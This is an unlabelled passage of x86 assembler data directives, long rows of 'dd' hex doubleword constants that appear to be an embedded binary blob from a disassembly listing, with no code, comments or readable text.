dd 0BD482A35h, 800B889Ah, 857D45B3h, 0AE045FA0h, 0F70ADBFCh
dd 65121EFBh, 719D8266h, 4645A5B8h, 95621217h, 8A50010Ah
dd 45012BDDh, 10699531h, 0C892C422h, 0AA00EAC1h, 36D5CA83h
dd 1D513318h, 0C9E4548Ah, 2C5905C9h, 81F86080h, 0BB2DC0h
dd 0BF615225h, 46017E14h, 1EBB2EA4h, 0D5263189h, 0C2ABBAh
dd 0C50965Ch, 9BE6012Ah, 126ADB9Ch, 30282B2Dh, 77C2E14Ch
dd 11704CFBh, 0A7DE2DDDh, 5053B009h, 50D1DBA7h, 0FC091B7Ch
dd 588CB136h, 4951B555h, 40576DE9h, 276EB1C8h, 0F72B0325h
dd 9D236823h, 0E90891BCh, 75856BD4h, 12090004h, 0FBBBB305h
dd 9FC5BA11h, 57FE95D7h, 4EDDA38Ah, 61CA0EBCh, 2BA539D8h
dd 5BA76D65h, 2D6550A3h, 0CF3DA601h, 0DDCFCC9h, 9591B7ECh
dd 0C2D6D20Eh, 5F051FAAh, 0F1809DECh, 0CC99D13Eh, 0ED7A8269h
dd 0E039C2FBh, 80D2C45Dh, 0A011FD91h, 9C8D0167h, 0EF80861Ah
dd 0F512F0DAh, 0BB440BACh, 0AA5314D9h, 23654D44h, 5CE1900Bh
dd 0C9B2BFAh, 0CC061CC0h, 1A04CE01h, 6C5A7736h, 85D660BAh
dd 408213C5h, 97A42825h, 4B46BF4Fh, 3EF969AEh, 12E11B82h
dd 0AD609655h, 22296352h, 2BC7E2F9h, 0B5893330h, 18FFB1C5h
dd 2211CED1h, 5EED1C95h, 844B9FABh, 0B2AEA4EAh, 26A09B7h
dd 0F73C8829h, 7ABF5083h, 4A44BA1Eh, 0E337D53Dh, 3918E38h
dd 0EDE5C1CAh, 567CD4F0h, 69089280h, 6F00312Ah, 6BF5AD30h
dd 2611256h, 4275C5B1h, 5551276Ch, 6D5D3100h, 354AEE7h
dd 0ABEEEFB8h, 5FC2781Eh
dd 913835D7h, 0E31F8019h, 12C90613h, 0ACF4E9B5h, 0ACFFE12Fh
dd 0BC77BD2Eh, 909E1FB5h, 87934959h, 76E33A55h, 512D4B9h
dd 0C0B0F95Dh, 807A9C53h, 3CBF310Fh, 54978376h, 89044912h
dd 4A2CFCF1h, 0F67E098Dh, 1D6FF0FBh, 0E0E54E92h, 89BD6D42h
dd 521654C7h, 4D4B7F6h, 0CBEA5A4h, 28350464h, 772EF7BAh
dd 0E1787E93h, 5991F389h, 31B5080Dh, 0A2601415h, 0CD5BF92Dh
dd 9F580891h, 0A0D4AC5Eh, 252A4426h, 0F5402DCEh, 4427195h
dd 0C29CBF02h, 0F551825h, 1FD1E4E8h, 4902D963h, 0A8B63ABBh
dd 0CE105503h, 0C4AE4CBh, 8B2DC9A3h, 0B02CA54h, 0D5333D9Dh
dd 0D8B7AD98h, 947E1095h, 12960092h, 36DF1AA1h, 0A517E262h
dd 0FAA6A82Ch, 51DF0A5Fh, 11E90E4h, 60C82B5Fh, 61F22AB1h
dd 722D0115h, 0BD29D102h, 45D50855h, 2D1508DCh, 86EB8004h
dd 0F462C7A8h, 90D518EDh, 880AE9AFh, 0A8003A84h, 0E1A9265Fh
dd 95B8F568h, 264B228h, 46E9CBB3h, 0FE16A7Eh, 0C0FA9769h
dd 95CE9AC0h, 744C3B56h, 981E4AD9h, 228B24B6h, 0A5FEADEAh
dd 6BFE1BA1h, 446850A3h, 9C82468h, 0B4511175h, 0B1DC041h
dd 0F797F62Ah, 6F6A5FE2h, 5DE841E5h, 0A99D2A1Eh, 0DEB0F266h
dd 0AF4A8643h, 50F107E0h, 40CD84B4h, 9D2DB932h, 0D03DDB08h
dd 5A2DC534h, 1F4AC412h, 269065h, 9D339A0Ch, 248B0AE5h
dd 42161178h, 0D4D9FCE1h, 2A9D7400h, 1704652Dh, 0A27ABB08h
dd 8C3E0021h, 831950B6h, 0FC5B25C3h, 0C02B5802h, 4D07D546h
dd 0F8645880h, 6A9BD2C5h, 6AD84ECCh, 0E7304906h, 70B44A3Bh
dd 0CE4D9575h, 0C0504DA5h, 0BA37C50Bh, 0C48BD72Dh, 0CD2B001Fh
dd 0D500A5Ah, 38006657h, 86FD1ACFh, 0A0DB8131h, 904ED1B0h
dd 9585753Eh, 0B289C53Dh, 0ED2E8021h, 47FDF81h, 0F5220F3h
dd 8DCDBE89h, 4004242Ah, 275BB653h, 0E700D7A6h, 6BBAE3F8h
dd 0BFF31ACDh, 5B5B7072h, 0AA5EB8h, 83D46D38h, 129224Ch
dd 0D8A9B960h, 2B611BF6h, 33041835h, 2FAB3055h, 0C1B84F0Dh
dd 82680972h, 0FA510D55h, 0C2DFB045h, 6812FB96h, 681304BFh
dd 0ADFEEB8h, 96BFA480h, 0AAA20C84h, 542FB27Eh, 30B5DE95h
dd 0C8A8DC9h, 0CC8F8998h, 392DB5D4h, 0A6197111h, 0B200D6F0h
dd 0D7486F99h, 41298501h, 1B8D3F0Dh, 3396827Fh, 11C667F5h
dd 0DA8A125Fh, 0EF9249B2h, 61645352h, 22A114A8h, 0A3987B04h
dd 80F000F9h, 0E6052AE5h, 0B32C4B6Ch, 45603788h, 2CDAEC3Dh
dd 16FAC402h, 8005AC60h, 0D6047B61h, 7E0F8F4h, 1EF9CCDEh
dd 0FE86613Eh, 8EB7F8C6h, 89575B13h, 0B55A02A2h, 2B8BCD13h
dd 29C02257h, 0F6BBEFE0h, 0F56125F1h, 1DA0968h, 9F9B7AE1h
dd 379462C0h, 7C4EEF80h, 1CAC1FADh, 1D8B008Ch, 0D460E516h
dd 824FB194h, 797C6988h, 67F50071h, 0FF64AD39h, 57161484h
dd 0ED05D3A7h, 56C0AAFCh, 0B8525FFBh, 4165B0BAh, 0C761DD2Dh
dd 4F29ADE4h, 82E888ADh, 0C888D94Bh, 1AD4017Eh, 88A9D14h
dd 91D440BFh, 90155F2Bh, 155250h, 0AEBA7C40h, 13997DF1h
dd 0F8310F5Fh, 905B8066h, 0B98F1Ch, 29682F6h, 6D482528h
dd 0A1E8E44Bh, 902AB709h, 9818D37h, 659CEDD9h, 0B4108A45h
dd 99B95F80h, 8C0022E8h, 0F0A6B6FAh, 0EBDA1897h, 0F86D896Fh
dd 8D1FC5B9h, 6540E12Bh, 535FBBCBh, 40CB9809h, 519D5B01h
dd 0FC8A4142h, 0FE06A550h, 930D6200h, 54274908h, 85A86CA7h
dd 5326592Dh, 18177954h, 8605120Ah, 2FADB189h, 0E0B0B8F7h
dd 0E1BEE6B0h, 0E90B2A10h, 83D4017Dh, 0A9CF01F4h, 504390C8h
dd 9BE9F8BFh, 0DACC514Ah, 2D9D1609h, 0B454B804h, 1406866Bh
dd 56AA96BAh, 6E01C525h, 798995FDh, 0BFC730D5h, 9A0E4F9h
dd 89352EFEh, 756D40E1h, 6CA6BBCh, 71A765A0h, 9DD4A00h
dd 8139F0C8h, 6B5409E7h, 0B700EBFh, 549B795h, 0CCB75839h
dd 850922E9h, 2B7F929Fh, 57E24249h, 0E6C0344Dh, 97E68E4h
dd 34695A62h, 3290B0Eh, 75EDBAD5h, 7292FC1h, 13649567h
dd 9E376800h, 664ABDE7h, 0C88755B8h, 0FF42C565h, 7105286Eh
dd 81CD23B6h, 520E91Ch, 8744D2FBh, 0BF60125Ch, 29B648BEh
dd 8190500Fh, 0FCDE1096h, 5F033C6Bh, 0C45677E3h, 0A5870F16h
dd 6E61E9BDh, 4C03B66Eh, 0DC8AE976h, 0ADCE84B4h, 9599407Ch
dd 0EAB77AEBh, 37911DF2h, 2D6ECC45h, 14A3A113h, 1F801AEh
dd 3A03A5BDh, 2788B2B3h, 8AD2609Dh, 3116DCAFh, 0C443640Bh
dd 1126D623h, 35884B2Ah, 3E950005h, 2568312Dh, 5B4AF988h
dd 97EE81B8h, 0F800B06Ah, 7806102Eh, 0F24BF46h, 7149C888h
dd 82730066h, 58689F1h, 0D7710A00h, 0D8414788h, 4B1D009Eh
dd 25BB66C2h, 211EBF81h, 0C5A574E3h, 42B082Ah, 2D2D6015h
dd 0C0F1DC70h, 55C73EEFh, 7291D001h, 958B905Dh, 0A88F562Bh
dd 4409B79Ch, 25E12007h, 0FB2F0D96h, 191D592Bh, 7107EAFCh
dd 0E43F058Ah, 0FC705A73h, 9A2C125Ah, 0BA4C6DE3h, 0FE3558C0h
dd 7E013B7Bh, 5D2C2853h, 0A0883DFAh, 5F162A45h, 1BAC02ADh
dd 0EE08008Ch, 802C9DAEh, 0DBE66CC1h, 818D324Bh, 586A4Ch
dd 263EEC81h, 0F9191E1Ah, 8B965F0Bh, 420CDFFAh, 2B95BD0Ch
dd 595EF396h, 118181Bh, 0A36B90E0h, 2E53FC66h, 95306B34h
dd 0BE670D1h, 1E39A6A1h, 0F03E5500h, 8D14311Fh, 0B09501B5h
dd 27B96660h, 0C878BBC8h, 9D2A2545h, 9B6A2B6Eh, 7C763900h
dd 4A6CB790h, 2F7E6CB5h, 0CE0941BDh, 0DB68676Dh, 0AF8C0DE0h
dd 0BF1009BDh, 5E70D978h, 22E4C8B0h, 25645682h, 0D2C49077h
dd 0AD43055Bh, 1FBD5C56h, 0FB039A88h, 0B3686E55h, 0B65A5867h
dd 0AF0CC638h, 81E08072h, 0EE8526CFh, 9718973Dh, 8B156053h
dd 2E5758Dh, 4C9076BAh, 83425713h, 0B142A8CFh, 46CADF41h
dd 0BF8B6157h, 0F39437C4h, 0A033CA6Ah, 95157FD2h, 0BD03FB18h
dd 5E56B159h, 7AADD9A9h, 0BC302F60h, 2F7F4C12h, 939B0C22h
dd 4FFD6D00h, 8A89FDBh, 0B7D9D29h, 70505F09h, 2D38B557h
dd 60002C7Dh, 0BA8614D5h, 2591A1BBh, 66790C5Bh, 5A1816F9h
dd 5EE9B327h, 950355B5h, 0FA2A595Eh, 40F8DECEh, 218E7EDCh
dd 20DEEC03h, 971F952Ch, 0E95D5609h, 1D4B456h, 0D8EECA32h
dd 3F319D85h, 4B2DF9A0h, 27FE8E29h, 0D862DB32h, 0E7053B22h
dd 6272341Ch, 5BC5FDC4h, 8BB3FD81h, 0C370512Bh, 1256FC27h
dd 0B55F5378h, 9F542979h, 0DEC8F46Eh, 6D609C0Ah, 0C4F53B42h
dd 2518970Ch, 0A92D9D8Bh, 71AF5614h, 89479F3Ch, 96E2FE65h
dd 0AC89ADF8h, 0AB1A8C1Bh, 0DD62688Bh, 0BA0C888h, 8E561821h
dd 1C1CF762h, 0F1781D93h, 3F1E0108h, 0E2E95828h, 0FC4D2EF2h
dd 0C1D8D9BDh, 9DD94B8Ah, 576A3FDCh, 0F9A6E102h, 0DD429860h
dd 0BA40E97Eh, 3BFAE468h, 7D26DEh, 85232E9Dh, 0B1A486F6h
dd 0DF44B23Ah, 0AE485AFDh, 6A578009h, 9FDC377Dh, 18FF2534h
dd 40A19507h, 0DE08BB21h, 3B12ECB8h, 0AD421686h, 0D625FE5Fh
dd 7FE3CABCh, 8675F0DAh, 2019C695h, 0BE041155h, 1C20219Eh
dd 2F65B1EFh, 345B066Eh, 735BFE7h, 900D32EAh, 9D98A798h
dd 3CC66600h, 0A9E3FD79h, 0F8E0784h, 101BB9CAh, 5066194Dh
dd 0B0489056h, 0E08065A1h, 81300182h, 2BFBDEEBh, 604E933Ch
dd 82734FFh, 84A702B2h, 6FBE6A5Ah, 9EE104F6h, 0B6AAF664h
dd 87B94A78h, 59149C4Bh, 80092842h, 117954EFh, 0DE097B47h
dd 0E100F476h, 66E0B65Ch, 2B49A5BFh, 5825026Ah, 4A27D773h
dd 1E004643h, 96158DBBh
dd 0CCB06479h, 26003317h, 68A5A625h, 2FB04C59h, 0FE69F32h
dd 6009A97Bh, 80D39635h, 0B0F04916h, 0B7C807D6h, 0A9E93814h
dd 20121C57h, 0DFECBCE0h, 0F2BD3409h, 0C0634D65h, 0BC37B711h
dd 0E6362B09h, 80E8715Fh, 0A3D1C781h, 73955A50h, 198388A6h
dd 21885397h, 0F21F003Ch, 377088DAh, 7C04F1FFh, 6B157375h
dd 5FDEC2AFh, 0A0486ED5h, 970E65D6h, 6894BC1Ch, 1EFC9DD4h
dd 29448E52h, 0B1C17311h, 3D31197Ch, 0F5E70348h, 0BFF6A28h
dd 11A7DF0Eh, 0BE97302h, 4F4D8F6h, 5B1AA508h, 88C8B98Bh
dd 0B0F88A20h, 0E6FB0084h, 6DDF8070h, 71E4ECEFh, 2E1ABF04h
dd 0B4B9027Ah, 12370535h, 89B2B59Ah, 0DD1B29E0h, 8D1001ECh
dd 0A14F141Dh, 187BA6DFh, 0A1B50904h, 583B2EEh, 2D89BD23h
dd 0AC7E24AAh, 0DE7F8070h, 0F6739D1h, 0DB30AD4Dh, 0B531FA13h
dd 306BC82Bh, 0F19D0903h, 45F63FFBh, 46ADB300h, 23F5555Ah
dd 2F1780E8h, 0BFA6F0h, 37EAD908h, 0D12C8BF9h, 1290EF53h
dd 8AE95B0Dh, 80CD2E45h, 320AE33Fh, 89853A8Bh, 5848550Eh
dd 2A4572F3h, 20207A3Ch, 29135884h, 0E4843195h, 0E2AE74FFh
dd 0B21701ACh, 0D092D63Ah, 9E2C41EDh, 46025584h, 203FF8Dh
dd 0C316CB81h, 16557B95h, 0DAB73E94h, 5818A528h, 604173FEh
dd 15E2207Fh, 0BE2D308Ah, 640C5ED1h, 84E0B95Bh, 0BF233C2Fh
dd 0F294FF0h, 795E2690h, 0E1C47DA9h, 61B81204h, 10C7B9C2h
dd 7C69B66Fh, 0B90314C8h, 0E09F73Ah, 8555F952h, 0CBBDFCE9h
dd 1A008DB8h, 0FB025B33h, 7164F0DDh, 950909FCh, 3C250881h
dd 2F37C0C0h, 6126EC5Fh, 8DC22BBAh, 0FA675C10h, 90530E53h
dd 24825986h, 9ABE4CFh, 2098075Dh, 3BB60D5Ch, 8A3705DCh
dd 0EA4C015Ah, 43A3A28Ah, 84E1ADF0h, 77AA860Ah, 891CFC1Eh
dd 82F13A27h, 0F428B1FBh, 5F50C0ECh, 1C1CC41Eh, 0D4808863h
dd 0A3993E69h, 1D42124Ch, 0D263A9C7h, 2AA866FDh, 2D01C195h
dd 4F672F2Eh, 801FFDF2h, 7AD165BFh, 0D1D2E000h, 4C8E19A5h
dd 95106E8Ah, 0CB5F2802h, 0AE44309h, 45807114h, 0B05BF75Ah
dd 24E02042h, 0C23CB848h, 5C5C0321h, 509CDB5Ah, 6F2DCD7Eh
dd 404C78BCh, 0E15BFF10h, 282B1FF1h, 45A782Ah, 32803CDEh
dd 0DD7FCA4Dh, 562599B8h, 1A4CC570h, 0CDF76262h, 0EC70E2B6h
dd 5C239D02h, 0D2FC7169h, 4056EF55h, 7B83D1E8h, 1041CE58h
dd 0AB4B0C05h, 0F400696Eh, 0DF1E2845h, 0BE2F4E6Ah, 9BDDC67h
dd 7A703CCEh, 35BD310Bh, 0BB18D515h, 1A461D9Dh, 0FACE2D22h
dd 2BFFD3F9h, 0F965870Dh, 0BB196820h, 0DAF712C1h, 3A38E577h
dd 35BC47B9h, 11853109h, 456FD621h, 0A8FBD5DAh, 0ADAC9625h
dd 0E5306880h, 95C9A2h, 7C1ECF14h, 7823B336h, 7728865Bh
dd 294DA3AAh, 399B40F2h, 0BACB2C4Ah, 2FB01156h, 0EB027AA8h
dd 51B53153h, 0E5DB5E12h, 8724AB29h, 0FD4FCDA8h, 585EC2Bh
dd 8EC48009h, 1CA9C14Fh, 0E09E7B02h, 0BA2EE280h, 0BB055088h
dd 0BE58D29h, 36919DAAh, 0CC8C4AEBh, 6BD32D80h, 61074564h
dd 4371DE9Fh, 0B1BB1511h, 55FE2EE1h, 0C4ADA551h, 818500D2h
dd 3414B397h, 674A04EAh, 0ADD601ADh, 0A0F3A80Dh, 80074DF5h
dd 379789F8h, 88DCA5A6h, 2909ACABh, 0A52356B5h, 3A5ED742h
dd 0BAAC00DCh, 0BF2DBBFEh, 8C947940h, 0EAE0B240h, 78430238h
dd 2BF3B51Dh, 0AD859E60h, 1509964Eh, 1F96450h, 1FF8F334h
dd 2B6CDA9Eh, 0FA93F3A2h, 23095805h, 4FC48BAAh, 2A0E576Ah
dd 3520B175h, 80A0362Dh, 6816E707h, 21343137h, 0B2CC67C1h
dd 0C811802Bh, 2EF77732h, 0E09EF69Bh, 14A15E8h, 7AEAE9D5h
dd 4042045Ah, 4BAE8E9Ch, 30DF8275h, 0B55790E8h, 0E2E21299h
dd 33AF055h, 83E06193h, 82E90FF8h, 1CE43EFCh, 5650285Fh
dd 4B3D3BD1h, 0C0E3DBDBh, 42C56CA8h, 0F0C1041Ch, 0A17E9BB8h
dd 0AA3D54ADh, 1AA223A6h, 97E780B0h, 0CA3C8905h, 0AD007BC8h
dd 61529CEFh, 8FDC4B8Ah, 0C16A5A3Fh, 0E5033A00h, 61F1EA4Bh
dd 2D4E7CF3h, 25DF7401h, 2A114067h, 0AF10854Bh, 52BD6B95h
dd 0F3755BCh, 5609138Bh, 0CE4753Dh, 7D564C40h, 650E3B58h
dd 64EFFC42h, 24F85A2Eh, 24052080h, 0FD7044FFh, 99345900h
dd 7867FE89h, 0CD7331h, 75CB8177h, 5B21C8B8h, 1F8C564Bh
dd 425300D8h, 0FEE3DC2Ah, 0BC003119h, 0CEB7629Dh, 124DB230h
dd 0E25B61F9h, 4BA8446h, 5C7AAEh, 0F3AE8CB6h, 0A8EA2FDAh
dd 9FCE48h, 0B82BFE65h, 1840DE0Ch, 530F0D1Eh, 0C145FF44h
dd 7530198Bh, 0B995298Bh, 92BA0B58h, 0D80C3B2h, 0B3C3BA8Bh
dd 4AE5E009h, 746C57C9h, 646D4D9Fh, 3C5A6019h, 0F50B160Dh
dd 131EA879h, 2C52104Eh, 0A6D6E5A9h, 7B76A036h, 97C5EC73h
dd 0BDD7800Bh, 0B7CABFB0h, 0AC4159F7h, 0CD800148h, 0C065C51h
dd 4DED7C50h, 1CCABC28h, 43BDEAFFh, 2B82D4E6h, 2E1A79B1h
dd 0BF50A970h, 767A1678h, 0D7FFA85Fh, 0E3F03AA6h, 6E0B1BA6h
dd 0F4CFC069h, 574227F2h, 1C11B237h, 0A7176C80h, 891AEA13h
dd 5D40E129h, 599D8070h, 19015690h, 0C12FF7EAh, 0BBCC6901h
dd 8A5BBDCDh, 0F2DB5Ah, 7A775676h, 619070B0h, 0EC4CF609h
dd 2EEC613h, 0D58FBBF8h, 0C25C36C6h, 2FD78004h, 0F22FB78Dh
dd 7BB0079Ah, 8C60B3E5h, 12D3603Ah, 0E171ACFBh, 0C0855BD5h
dd 55A9126Eh, 0E13A97C2h, 45357Dh, 2D6A7C10h, 0D83BADA5h
dd 0FDC94BFAh, 21F8AF0h, 82350470h, 0CE755F13h, 0CB37954Eh
dd 0C7A55F00h, 1622F02h, 2EBF8AA1h, 3F0FBD28h, 259DCDD8h
dd 0B5CE25E1h, 263D0495h, 14525005h, 0DB4FBD97h, 128C80AAh
dd 0BD45CB6Fh, 0FE2B2510h, 0C1B09101h, 0CD2D423Ch, 0D0ECC07Eh
dd 7F9CB523h, 8B130EA6h, 0D9252DBCh, 1564DA6Dh, 7052F161h
dd 24AC576h, 0AC7664ABh, 4F59A256h, 6100CE73h, 0AF766A57h
dd 0DDCF8104h, 87BFE525h, 58521027h, 47FB866h, 0C88B611Ch
dd 0CDB7B2E8h, 0C035E756h, 4A6B46E3h, 4F955956h, 0AC93C2F9h
dd 0BFF74F12h, 0E01EA64Eh, 14D76F2Eh, 0ABFD8A66h, 291D9113h
dd 124678A7h, 80E5220Bh, 843B9E7Bh, 97B86F54h, 255A95A3h
dd 9680A3DBh, 6D1FDDD8h, 0FF63A102h, 2009E94Dh, 69A05F52h
dd 7E05720Eh, 0C2E752F5h, 0A980AD4Eh, 98F646C8h, 3C150027h
dd 0BB992D56h, 0B225825Ah, 6DC3C223h, 4020E706h, 0C40C1E97h
dd 53AADA12h, 95826EEDh, 0C7752359h, 0C4A446h, 5ECB841Bh
dd 997D9E9h, 93FDB7D5h, 9D200E0Ch, 4D8FEB13h, 78E89993h
dd 0D9E44FD4h, 9DB53489h, 0AC17B9B7h, 45008C1Bh, 0FF13EADDh
dd 15D520BDh, 908DB509h, 980F501Dh, 60BF3105h, 68A31816h
dd 0AB62584h, 0D84C61E0h, 69C120E9h, 0B7B8109Dh, 0A108D782h
dd 0CCD98F77h, 3BB9F30Bh, 0D100B1B8h, 0F936D48Ah, 4A608250h
dd 5B80D2CBh, 372F155Eh, 0B6F1001Eh, 0D80D83A3h, 0F50C6DCh
dd 607FA04Ah, 64D4B32Dh, 91C8027Bh, 61E175DAh, 0BF564057h
dd 3FEC41C4h, 0F1B102F7h, 333D412h, 9D092C0Bh, 4709AC1h
dd 0E4AEF8A2h, 174EA0CEh, 0A29C55B9h, 645BFD03h, 108433DDh
dd 12A8146h, 208BB5Fh, 362E25A0h, 0CB1650FAh, 1AA100Ch
dd 0CFC236A6h, 0FB282E55h, 32028B5Bh, 6ADB50D3h, 0C15E4002h
dd 69BB800Ch, 7123EB09h, 81350290h, 0B8602009h, 57035EA7h
dd 615F5669h, 7F780490h, 816DB422h, 3E18B9E2h, 686D8C2Dh
dd 8128FA8h, 97FD9531h, 0E9EFB304h, 0BC38AE9Fh, 0E7CC4FBBh
dd 0FAFDA066h, 2DF909DDh
dd 0B60830F2h, 0BB66003Bh, 0FA8B7393h, 80E01897h, 909E27E3h
dd 0B201BBC4h, 37A02DE7h, 0C507EAFh, 0BCB146h, 0BD5911Dh
dd 886B5BBFh, 22EB6374h, 5190137Dh, 0D6B1260Ah, 1E824FBFh
dd 0C6145718h, 0E599F94Bh, 2B55C22Ah, 71AF737Dh, 2184C31Bh
dd 22F0DEE8h, 1858B771h, 56115EC9h, 0AFFF921Dh, 0AC4EA96Eh
dd 15BC4C9Dh, 25E7124Dh, 45D9CCB0h, 17B90051h, 0E697B0EBh
dd 317200B0h, 8A452EC7h, 13EEE6C0h, 2B1CCC00h, 4C36A1D6h
dd 7EB09087h, 16707BDFh, 0A922D19Dh, 3AC85F9Eh, 413F004Dh
dd 0F1EB9060h, 0E70461B0h, 2F7D1792h, 8E800CB8h, 79A4CE83h
dd 0A5324194h, 0A064755Bh, 10BFFA53h, 814B2331h, 0DABAF918h
dd 6801B857h, 0BC15168Ah, 0FB381101h, 810E804Bh, 0DA1144DBh
dd 0AA5138D5h, 9706CF20h, 0EB07FF0Fh, 3902250h, 679308D5h
dd 8D954A00h, 370996FBh, 43363FF3h, 0FAB4B884h, 484073E2h
dd 0DC78014Ch, 1EC8FA9h, 18E46A8Dh, 0F31DB85Fh, 8A0F2789h
dd 38505F11h, 17E909E3h, 0A3FD725Fh, 0E0C7087h, 1C580EBBh
dd 0C07CA976h, 0AE46C2BFh, 60599D55h, 21D5BD84h, 0ECD6E8B9h
dd 2C09E2Ch, 0ED53F94Bh, 712D187Eh, 4593670h, 222E5B81h
dd 902B38F8h, 1741BDBh, 0E16E639Ah, 821DCB07h, 51FC7BEh
dd 0ED095E5Bh, 0B78DA8F2h, 43297F81h, 191213F9h, 0EAB8A185h
dd 94CF6B1h, 0CBA8F62Dh, 0A6061DF0h, 0D0DD9BADh, 43CF13A6h
dd 0A1ECE75Bh, 0C83E1186h, 6113F3CEh, 98AAC540h, 0B80107CDh
dd 0DA8B6DA8h, 0A36F525Fh, 0A7573C61h, 2C30F55Bh, 0B9802A81h
dd 490F5B8Ah, 3F78FA4Eh, 5C558997h, 9BDF3B87h, 450D81B1h
dd 7CC2B8D7h, 6E3AF649h, 2982021Bh, 7512A585h, 514EEF6Ch
dd 4FCA5C8h, 0AE0CA881h, 4D238073h, 5C000548h, 802BE6FAh
dd 1275BB96h, 12223A43h, 0C472E3FAh, 5CF6EAB3h, 6E4890E0h
dd 96873801h, 0CBA7FF3Dh, 0FC4C222Fh, 64814D55h, 0F2C601Ch
dd 8CA20218h, 0C0D1C77Ah, 8DBDB0F5h, 0A8074A5Dh, 0DBC2A48Fh
dd 5E1B5E23h, 950C4BBCh, 2FF30A0Ah, 8EDBE8Eh, 3BE9CFh
dd 0A3A83E0Ch, 0BD62C2CDh, 1CD514F5h, 899944A8h, 62AD9D2Dh
dd 37219AE7h, 3142809Ah, 10E50637h, 2FE1F779h, 0E7F28B20h
dd 3EA00EDh, 603BB5D5h, 0C309B4CAh, 56893FC5h, 0F75F12D0h
dd 0C76A4F4Bh, 9EF7D300h, 822F22A2h, 0FE1269B0h, 0C1F9E1FFh
dd 270013B8h, 0BFB2FD6Eh, 4B82549Eh, 346DCA18h, 0B0B857E7h
dd 4338FF45h, 0A9561127h, 32A7E971h, 0D337FDh, 550960D0h
dd 964B5822h, 843554CAh, 0C0369B51h, 6013FE9Dh, 0A47A48B4h
dd 968EBC5Bh, 74BACA30h, 7B0209DBh, 12D6452Fh, 72F78160h
dd 234D1208h, 0D412FA5Fh, 844B40B9h, 0E0ACB64Ch, 5ECF9Ch
dd 1A9559D3h, 8A756D6Bh, 6DC1DA4Bh, 3AE8E381h, 21124216h
dd 459D0413h, 0D6422923h, 375B5D5Dh, 77B7Ah, 3633870Bh
dd 0FAB0539Eh, 4212BF12h, 3E6F85C5h, 0A94B5200h, 0E0BB7E5Ch
dd 78F2D01Ah, 0A006F04Ah, 8022ED30h, 0E209B968h, 5E538144h
dd 30574BB7h, 12150D7Dh, 0F05B5325h, 21124686h, 0DAEF7EDAh
dd 7D68C024h, 5BA7E88Ah, 140BBA5Ah, 0A3B555F8h, 186CCAFh
dd 0C007E045h, 2F8A8BBDh, 95297131h, 0E9F3E46Bh, 75016B2Ch
dd 0DCBE01F6h, 8D294B37h, 2EE335C9h, 27A942A9h, 0EDD2003Dh
dd 0BE252EE7h, 1260588Ch, 4E29A110h, 0B9EB20BFh, 6B12F10Eh
dd 82F1611Eh, 35E0DB37h, 0CD12059Bh, 8EF367B7h, 7004274Ch
dd 0BC4F1DF7h, 19BBC186h, 6821930Dh, 48A471DFh, 0B5B08E0Eh
dd 599D2805h, 0D912Ah, 7CFB0390h, 2853B127h, 0F09D2A65h
dd 38ECBD63h, 864845A6h, 93A30038h, 619E5414h, 0CD5C4B85h
dd 4A337021h, 0A068A31Eh, 5C69CACBh, 4ADE9026h, 14FF26EAh
dd 0E0585A25h, 2DD45F0Dh, 143769D5h, 3F2EE100h, 2DB27E38h
dd 0A5BD0DBh, 9EB5393h, 12F7FA8Bh, 0DC905EBFh, 828B351Eh
dd 33C4AD9Fh, 0C8B845BDh, 5BFC53A0h, 13CB6158h, 7DF620E5h
dd 0A0AD3D00h, 1C437CB7h, 0CC62B003h, 0B8BA5A5Dh, 95052199h
dd 98D0FD65h, 71B300E2h, 0F97A261Eh, 7995A90Ch, 8D3182CCh
dd 690F32F5h, 0F04775FAh, 6FA1BF80h, 70E96425h, 0A67AE152h
dd 9E2AF09Bh, 641E27FFh, 0E32E6C10h, 194C5000h, 0A5FDF307h
dd 0F15E00BDh, 172A9F8Dh, 1D976945h, 486072DCh, 3EBC0F0Dh
dd 0FEC700F4h, 0AA7D4815h, 0FA24B15Ch, 0A9092519h, 6169F90Ch
dd 46385h, 4BE9B501h, 35AACE29h, 9BF2750h, 665D2660h, 6F7A005Eh
dd 4876AD63h, 5C624D04h, 0FF2A2574h, 8297D094h, 55F17B70h
dd 10978E4Ch, 96745Ah, 2DDEE3FCh, 0AFBDBC51h, 5BC48425h
dd 181559D8h, 0E1A24B5Bh, 0A9F62F8Ah, 55301AB2h, 0C84B00F3h
dd 90EA292h, 194BA585h, 492442EAh, 927F508Eh, 83DA7FADh
dd 9EEEC3Bh, 0D47B2BAFh, 2BE22FD2h, 8C514C75h, 90C4979Ah
dd 5E02B0E8h, 9566EA4Eh, 0D65E5C11h, 7F171546h, 0C08BA8C4h
dd 4F92E781h, 0B0245A9Ah, 3A971045h, 0A0F165h, 827802C6h
dd 812F74F8h, 0A162E0F0h, 92D69D12h, 26C00DEh, 25F68296h
dd 692C7FB6h, 6F026667h, 5C1A5E8Fh, 94DF694Fh, 5148BDF7h
dd 6DBF04C2h, 6467C5EEh, 2617EF88h, 37AC7BC4h, 0B8E1ED4Ah
dd 1018000Dh, 0ACCF5A40h, 804B9EE5h, 3FB74E12h, 8019DA4Bh
dd 0AAD83D59h, 0BFA40269h, 15EF5A48h, 0D327335Ch, 179AD812h
dd 0A885B516h, 12741A3h, 6A44B77Ch, 0C0FDDBEEh, 0A9AA98E5h
dd 25F2B8DDh, 91DA2E39h, 83D90C45h, 0D366E23Eh, 712BBAB1h
dd 0A2F9972h, 3827A25Ah, 0FCE68055h, 0F79C57D3h, 24E80241h
dd 5D12FAB0h, 0E346D5h, 0FC23D702h, 0D3D87CFEh, 3E361300h
dd 6199DC48h, 2F9FFE6Eh, 8A823734h, 0C957B5B7h, 6E2E9611h
dd 0BF101059h, 0F92B8241h, 9337B9B2h, 2BDD4C02h, 0D684DB91h
dd 0FBA2BA1Dh, 0A099E6D2h, 2DEAE259h, 1A4436A2h, 8F768A00h
dd 61BBE5F3h, 0C81B1E78h, 0F2017DC2h, 0B52992EAh, 149F6BF9h
dd 0F4BB9600h, 5048DD44h, 3B1F8DECh, 822F0904h, 0B203ADF4h
dd 530608Ch, 73169707h, 5860A0ADh, 0BBE7B93h, 8C0FEB8Ah
dd 50FAB2F7h, 654597B1h, 0A6F250h, 0CE97F6F4h, 3EC430D0h
dd 4A975D90h, 0C08C60ADh, 0A31A97C2h, 7B00BBD9h, 6292881Ch
dd 0D49D0066h, 0E15EED33h, 0E951C217h, 3BF96A13h, 0CFAB211Dh
dd 8841377Ch, 2E5F381Bh, 0E147AD28h, 0C27B3Eh, 0C95D75AEh
dd 4B8954F2h, 8012ABB5h, 8BDB6D02h, 60A85CFAh, 93F9BB66h
